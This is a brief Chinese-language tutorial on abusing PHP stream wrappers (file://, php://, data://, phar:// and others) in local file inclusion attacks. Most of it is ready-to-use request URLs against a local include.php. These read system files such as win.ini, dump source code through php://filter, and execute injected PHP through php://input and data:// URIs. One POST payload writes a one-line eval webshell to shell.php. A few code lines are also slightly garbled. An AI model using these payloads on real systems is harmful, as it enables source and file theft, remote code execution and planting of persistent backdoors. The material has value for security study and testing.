1. 常见伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
image.png
2. 具体用法实例
$filename=$_GET['filename'];
在文件包含中如果是include $_GET("$filename");可以直接使用伪协议包含指定文件
但是如果加了文件夹限制就会导致伪协议失效如:include 'image/$filename' ,此时可以使用../进行目录穿越包含
include "include/$filename"
2.1 file协议用法
- file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://C:/windows/win.ini - file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
2.2 http协议用法
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
2.3 php协议用法
- 读取网站源码
php://filter/read=convert.base64-encode/resource=[文件名] - 执行php代码
通过php://input协议结合post数据
1. 查看phpinfo
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
2. 写入一句话木马
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
2.4 压缩流协议phar://、zip://、bzip2://、zlib://
- zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件
- 如访问phpinfo.zip压缩包中的phpinfo.txt文件
http://127.0.0.1/include.phpfile=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
2.5 data数据流协议
- 通常可以用来执行PHP代码
1、data://text/plain, #执行phpinfo
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2、data://text/plain;base64, # 执行base64编码后的代码
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
